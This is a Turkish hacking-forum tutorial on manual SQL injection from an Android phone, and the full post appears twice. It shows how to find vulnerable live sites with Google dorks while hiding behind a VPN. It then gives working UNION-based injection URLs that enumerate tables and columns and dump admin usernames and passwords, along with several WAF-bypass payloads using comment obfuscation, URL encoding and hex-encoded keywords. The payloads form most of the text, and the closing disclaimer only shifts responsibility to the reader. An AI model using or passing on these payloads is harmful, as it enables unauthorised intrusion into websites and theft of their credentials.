- 15 Şub 2021
- 415
- 532
Manuel SQL Injection For Android
Merhaba
TURKHACKTEAM
Konuya geçmeden önce söylemek istediğim bir kaç husus var;
Bu tür penetrasyon testlerinde ezber niteliğinde ilerlendiği takdirde, belirli bir düzeyden sonra tıkanacağınızı unutmayın.
Nacizane tavsiyem temelden başlayıp yazılımsal bir kafa yapısına sahip olmanız.
Gerekli Araçlar
DH-HACKBAR
Termux
Her hangi bir VPN
Not: Termux ile alakalı bir şey göstermeyeceğim lakin SQLMAP, WPScan, HashCat vb. bir çok aracı termux üzerinden kullana bilirsiniz.
SQL DORK
Konuya hakim olan ya da olacak olan kişilerin, şüphesiz en ilgi duyduğu kısım Dork kısmıdır.
Ne kadar farklı ve kaliteli Dork oluşturursanız, o kadar farklılıkda ve kalitede hedef bulma şansınız artar.
Örneğin: inurl:news.php?id=12 site:"com"
^ ^ ^ ^ ^
Gösterilen bölümleri değiştirerek bir çok hedef bula bilirsiniz.
Dork kısmında da VPN kullanmanızı öneririm.
DH-HACKBAR
Uygulamalı bir şekilde ilerleyelim.
Kullanılan komutların ne işe yaradığını bilmekte fayda var.
Order By : Verileri artan ya da azalan düzende sıralamak için kullanılır.
Group By : Tabloda ki verilere göre kolonları gruplandırma yöntemi denilebilir.
Select : Bir veritabanın'da yer alan bir veya daha fazla tablodan istenen satır değerlerini almak için kullanılır.
Union : Birden fazla "select" komutunun çalışmasını sağlar.
Where : Sadece belirli kriterlere göre sorgulama yapmak için kullanılır.
Başlangıç düzeyinde 3 hedef gösterelim.
1. Hedef (Easy)
"id=1" yazan yere " ' " parametresini ekleyerek açık olup olmadığını kontrol edelim.
Not: Yanlış kodlama PHP ve ASP sistemlerinde ID değerinde oluşur.
Beklenen hatayı aldık.
https://hedefsite.net/product.php?id=1' order by 1 -- -
Her hangi bir değişiklik olmadığı için " ' " parametresini silelim.
https://hedefsite.net/product.php?id=1 order by 1 -- -
Şimdi "order by" komutunun yanında ki "1" sayısını hata alana kadar arttıralım.
Hatamız 5 sayısında belirdiğine göre 1 ile 5 arasında bir sayı almamız gerek.
O yüzden;
https://hedefsite.net/product.php?id=-1 UNION SELECT 1,2,3,4 -- -
Not: Sayıyı göremediğiniz zaman id değerinin önüne "-" parametresini koyun.
Database ismini öğrenelim.
https://hedefsite.net/product.php?id=-1 UNION SELECT 1,database(),3,4 -- -
Database ismini de öğrendiğimize göre şimdi table kısmına geçelim.
https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4 -- -
Bazı istisnalar hariç username ve password kısmı genelde admin, admins, user, users vb. tablolarda bulunur.
Admin'e bakmak için column komutunu kullanalım.
https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646d696e+AND+TABLE_SCHEMA=DATABASE()),3,4 -- -
Son olarak da datayı dump edelim.
https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(username,0x203a3a20,0x3a,0x203a3a20,password+SEPARATOR+0x3c62723e)+FROM+admin),3,4 -- -
2. Hedef (Medium)
Biraz sohbet.
Başta söylediğim gibi altyapı olmadan çok bir ilerleme kaydedemezsiniz, lakin;
Sen altyapıyı hallettin mi?
derseniz.
Şuan onun için çaba harcıyorum diye bilirim.
Altyapıdan kastın ne?
Örneğin her hangi bir programlama dili bilmek.
Programlama dilleri farklılık göstersede merak ettiğiniz, yapmak istediğiniz, ilgilendiğiniz şeylerde yabancılık çekmiyorsunuz.
Şunu nasıl yaptı? sorusundan ziyade.
Şunu şöyle yapmış olmalı fikrine sahip olabiliyorsunuz.
Bu yüzden Manuel SQL Injection penetrasyon testleri arasında en zevk aldığım kısım.
Sebebi de penetrasyon testlerinde kullanılan bir çok tool'un aksine.
Tamamen yüzeysel bir şekilde olması.
Kısacası "Ne kadar emek, O kadar ekmek." kafası.
Hadi! Go.
SQL Injection kendi içinde türlere ayrılmakta.
Bu örnekte Blind SQL Injection'u inceleyelim.
Blind SQL Injection site yapısında belirgin bir değişim gözlemlersiniz.
Bu değişim tüm yapıyı ya da küçük bir yapıyı kapsaya bilir.
Gördüğünüz gibi her hangi bir hata vermedi lakin site yapısı değişti.
http://hedefsite.edu.in/news.php?id=12' order by 1 --+
Hedef sitenin kolon sayısı 5
Biraz seri ilerleyelim.
http://hedefsite.edu.in/news.php?id=12' UNION SELECT 1,2,3,4,5 --+
Gördüğünüz gibi bir waf konulmuş.
Waf bypass ile ilgili ilerleyen zamanda geniş çaplı bir konu açmayı düşünüyorum.
Şimdilik idare edin.
http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,2,3,4,5 --+
Şimdi table çekelim.
http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4,5 --+
Column name.
http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x61646d696e)AND(0x00)IN(@z:=CONCAT(0x20,@z,COLUMN_NAME,0x3c62723e))))z),3,4,5 --+
Data dump.
http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x203a3a20,0x3a,0x203a3a20,password,0x3c62723e))))x),3,4,5 --+
3.Hedef (Hard)
Bu örnekte hedefle biraz dost olmak lazım.
Bu dostluk çıkar dostluğu.
Yabancılık çekmeyenler vardır elbet.
Bu dostumuzun hasta olduğunu farz edelim ve 3 aşamada inceleyelim.
1. Aşama (Teşhis)
Mevcut hedefin bir dorku olduğunu biliyoruz.
Hedefimizin dorku şu olsun:
news.php?id=1
Mevcut dork ile tarama yaptığımızda karşımıza çıkan bir hedefe bakalım.
Normalde beklentimiz şu :
Lakin hedef .com olarak bitiriyor ve "news.php?id=1" kısmını eklesek de anlık yönlendirme yaparak tekrardan "hedefsite.com" oluyor.
Yönlendirmeyi kapata bilirmiyiz?
Evet.
Deneyelim.
Yönlendirmeyi engellesekde bir sonuç alamıyoruz.
Bu kısmı şu şekilde düşüne biliriz;
Dostumuz bize "Şu nedenlerden hasta olmuş olabilirim" dedi.
Bizde ona göre ilerledik.
Atladığımız nokta ALDATILDIK.
Dostumuzun röntgen sonuçlarına bakalım yani view source...
Gördüğünüz gibi "id" değeri farkı var.
Peki bu "id" değeri yönlendirmeyi etkileyecek mi?
Hayır. Hedef tekrardan yönlendirme yapacaktır o yüzden yönlendirmeyi kapatalım.
Not: Bu durumda hedef sahibi yönlendirmeyi karakter filtrelemesi yaparak sağlamış.
Örneğin: .htacsess dosyasından sql injection da kullanılan karakterleri filtreleyerek anasayfaya yönlendirme yapabilir.
Aslında tüm mesele deneme/yanılmaya bakıyor bu da zamanla olur.
2. Aşama (Tedavi)
Order by kısmı waf'lı olduğu için bypass'ladık.
https://ww.w.hedefsite.com/news.php?id=8 +AND+MOD(29,9)+/*!50000ORDER/**_**/*/+/*!50000BY/**_**/*/+11 --+
■
■
■
■
■
■
■
"UNION SELECT"
kısmıda waf'lı olduğu için bypass'layalım.
https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1','2','3','4','5','6','7','8','9','10','11' --
Table kısmına bakalım.
https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),'3','4','5','6','7','8','9','10','11' --+
Table ve column çekerken genelde bypass'lanacak yerler:
INFORMATION_SCHEMA
FROM
WHERE
SELECT
GROUP_CONCAT
table_name
column_name
Ben size yinede bir tüyo verim.
https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+
Tek tek denemek yerine
" /*!50000CoNcAt*/ "
bu şekil yaparak %90 tepki alırsınız.
Lakin bu dostumuzda farklı bir durum var.
Bypass istediği kesin ama bypass dışında diyor ki:
Bu kısımda bana komut vere bilmen için "komut sistemleri arasında sayı sistemi dönüşümü yap."
Yani anlayacağınız hex kodlaması istiyor.
DH-HACKBAR' da hex kodlaması yapa bileceğiniz bir bölüm yok.
Pc üzerinde ki hackbarlar da mevcut.
https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=/*!50000436F4E634174*/(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+
3.Aşama (Sonuç)
Sonuç şu arkadaşlar.
SADECE BAŞARMAK İSTEYİN
VE
YAPIN
Esenlikler dilerim.
İYİ FORUMLAR
Dikkat
"hedefsite" formatında hiç bir siteye zarar verilmemiştir.
Konuya hitaben yapacağınız tüm aktivitelerde SORUMLULUK SİZE AİTTİR.
Merhaba
TURKHACKTEAM
Konuya geçmeden önce söylemek istediğim bir kaç husus var;
Bu tür penetrasyon testlerinde ezber niteliğinde ilerlendiği takdirde, belirli bir düzeyden sonra tıkanacağınızı unutmayın.
Nacizane tavsiyem temelden başlayıp yazılımsal bir kafa yapısına sahip olmanız.
Gerekli Araçlar
DH-HACKBAR
Termux
Her hangi bir VPN
Not: Termux ile alakalı bir şey göstermeyeceğim lakin SQLMAP, WPScan, HashCat vb. bir çok aracı termux üzerinden kullana bilirsiniz.
SQL DORK
Konuya hakim olan ya da olacak olan kişilerin, şüphesiz en ilgi duyduğu kısım Dork kısmıdır.
Ne kadar farklı ve kaliteli Dork oluşturursanız, o kadar farklılıkda ve kalitede hedef bulma şansınız artar.
Örneğin: inurl:news.php?id=12 site:"com"
^ ^ ^ ^ ^
Gösterilen bölümleri değiştirerek bir çok hedef bula bilirsiniz.
Dork kısmında da VPN kullanmanızı öneririm.
DH-HACKBAR
Uygulamalı bir şekilde ilerleyelim.
Kullanılan komutların ne işe yaradığını bilmekte fayda var.
Order By : Verileri artan ya da azalan düzende sıralamak için kullanılır.
Group By : Tabloda ki verilere göre kolonları gruplandırma yöntemi denilebilir.
Select : Bir veritabanın'da yer alan bir veya daha fazla tablodan istenen satır değerlerini almak için kullanılır.
Union : Birden fazla "select" komutunun çalışmasını sağlar.
Where : Sadece belirli kriterlere göre sorgulama yapmak için kullanılır.
Başlangıç düzeyinde 3 hedef gösterelim.
1. Hedef (Easy)
"id=1" yazan yere " ' " parametresini ekleyerek açık olup olmadığını kontrol edelim.
Not: Yanlış kodlama PHP ve ASP sistemlerinde ID değerinde oluşur.
Beklenen hatayı aldık.
https://hedefsite.net/product.php?id=1' order by 1 -- -
Her hangi bir değişiklik olmadığı için " ' " parametresini silelim.
https://hedefsite.net/product.php?id=1 order by 1 -- -
Şimdi "order by" komutunun yanında ki "1" sayısını hata alana kadar arttıralım.
Hatamız 5 sayısında belirdiğine göre 1 ile 5 arasında bir sayı almamız gerek.
O yüzden;
https://hedefsite.net/product.php?id=-1 UNION SELECT 1,2,3,4 -- -
Not: Sayıyı göremediğiniz zaman id değerinin önüne "-" parametresini koyun.
Database ismini öğrenelim.
https://hedefsite.net/product.php?id=-1 UNION SELECT 1,database(),3,4 -- -
Database ismini de öğrendiğimize göre şimdi table kısmına geçelim.
https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4 -- -
Bazı istisnalar hariç username ve password kısmı genelde admin, admins, user, users vb. tablolarda bulunur.
Admin'e bakmak için column komutunu kullanalım.
https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646d696e+AND+TABLE_SCHEMA=DATABASE()),3,4 -- -
Son olarak da datayı dump edelim.
https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(username,0x203a3a20,0x3a,0x203a3a20,password+SEPARATOR+0x3c62723e)+FROM+admin),3,4 -- -
2. Hedef (Medium)
Biraz sohbet.
Başta söylediğim gibi altyapı olmadan çok bir ilerleme kaydedemezsiniz, lakin;
Sen altyapıyı hallettin mi?
derseniz.
Şuan onun için çaba harcıyorum diye bilirim.
Altyapıdan kastın ne?
Örneğin her hangi bir programlama dili bilmek.
Programlama dilleri farklılık göstersede merak ettiğiniz, yapmak istediğiniz, ilgilendiğiniz şeylerde yabancılık çekmiyorsunuz.
Şunu nasıl yaptı? sorusundan ziyade.
Şunu şöyle yapmış olmalı fikrine sahip olabiliyorsunuz.
Bu yüzden Manuel SQL Injection penetrasyon testleri arasında en zevk aldığım kısım.
Sebebi de penetrasyon testlerinde kullanılan bir çok tool'un aksine.
Tamamen yüzeysel bir şekilde olması.
Kısacası "Ne kadar emek, O kadar ekmek." kafası.
Hadi! Go.
SQL Injection kendi içinde türlere ayrılmakta.
Bu örnekte Blind SQL Injection'u inceleyelim.
Blind SQL Injection site yapısında belirgin bir değişim gözlemlersiniz.
Bu değişim tüm yapıyı ya da küçük bir yapıyı kapsaya bilir.
Gördüğünüz gibi her hangi bir hata vermedi lakin site yapısı değişti.
http://hedefsite.edu.in/news.php?id=12' order by 1 --+
Hedef sitenin kolon sayısı 5
Biraz seri ilerleyelim.
http://hedefsite.edu.in/news.php?id=12' UNION SELECT 1,2,3,4,5 --+
Gördüğünüz gibi bir waf konulmuş.
Waf bypass ile ilgili ilerleyen zamanda geniş çaplı bir konu açmayı düşünüyorum.
Şimdilik idare edin.
http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,2,3,4,5 --+
Şimdi table çekelim.
http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4,5 --+
Column name.
http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x61646d696e)AND(0x00)IN(@z:=CONCAT(0x20,@z,COLUMN_NAME,0x3c62723e))))z),3,4,5 --+
Data dump.
http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x203a3a20,0x3a,0x203a3a20,password,0x3c62723e))))x),3,4,5 --+
3.Hedef (Hard)
Bu örnekte hedefle biraz dost olmak lazım.
Bu dostluk çıkar dostluğu.
Yabancılık çekmeyenler vardır elbet.
Bu dostumuzun hasta olduğunu farz edelim ve 3 aşamada inceleyelim.
1. Aşama (Teşhis)
Mevcut hedefin bir dorku olduğunu biliyoruz.
Hedefimizin dorku şu olsun:
news.php?id=1
Mevcut dork ile tarama yaptığımızda karşımıza çıkan bir hedefe bakalım.
Normalde beklentimiz şu :
Lakin hedef .com olarak bitiriyor ve "news.php?id=1" kısmını eklesek de anlık yönlendirme yaparak tekrardan "hedefsite.com" oluyor.
Yönlendirmeyi kapata bilirmiyiz?
Evet.
Deneyelim.
Yönlendirmeyi engellesekde bir sonuç alamıyoruz.
Bu kısmı şu şekilde düşüne biliriz;
Dostumuz bize "Şu nedenlerden hasta olmuş olabilirim" dedi.
Bizde ona göre ilerledik.
Atladığımız nokta ALDATILDIK.
Dostumuzun röntgen sonuçlarına bakalım yani view source...
Gördüğünüz gibi "id" değeri farkı var.
Peki bu "id" değeri yönlendirmeyi etkileyecek mi?
Hayır. Hedef tekrardan yönlendirme yapacaktır o yüzden yönlendirmeyi kapatalım.
Not: Bu durumda hedef sahibi yönlendirmeyi karakter filtrelemesi yaparak sağlamış.
Örneğin: .htacsess dosyasından sql injection da kullanılan karakterleri filtreleyerek anasayfaya yönlendirme yapabilir.
Aslında tüm mesele deneme/yanılmaya bakıyor bu da zamanla olur.
2. Aşama (Tedavi)
Order by kısmı waf'lı olduğu için bypass'ladık.
https://ww.w.hedefsite.com/news.php?id=8 +AND+MOD(29,9)+/*!50000ORDER/**_**/*/+/*!50000BY/**_**/*/+11 --+
■
■
■
■
■
■
■
"UNION SELECT"
kısmıda waf'lı olduğu için bypass'layalım.
https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1','2','3','4','5','6','7','8','9','10','11' --
Table kısmına bakalım.
https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),'3','4','5','6','7','8','9','10','11' --+
Table ve column çekerken genelde bypass'lanacak yerler:
INFORMATION_SCHEMA
FROM
WHERE
SELECT
GROUP_CONCAT
table_name
column_name
Ben size yinede bir tüyo verim.
https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+
Tek tek denemek yerine
" /*!50000CoNcAt*/ "
bu şekil yaparak %90 tepki alırsınız.
Lakin bu dostumuzda farklı bir durum var.
Bypass istediği kesin ama bypass dışında diyor ki:
Bu kısımda bana komut vere bilmen için "komut sistemleri arasında sayı sistemi dönüşümü yap."
Yani anlayacağınız hex kodlaması istiyor.
DH-HACKBAR' da hex kodlaması yapa bileceğiniz bir bölüm yok.
Pc üzerinde ki hackbarlar da mevcut.
https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=/*!50000436F4E634174*/(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+
3.Aşama (Sonuç)
Sonuç şu arkadaşlar.
SADECE BAŞARMAK İSTEYİN
VE
YAPIN
Esenlikler dilerim.
İYİ FORUMLAR
Dikkat
"hedefsite" formatında hiç bir siteye zarar verilmemiştir.
Konuya hitaben yapacağınız tüm aktivitelerde SORUMLULUK SİZE AİTTİR.
Son düzenleme: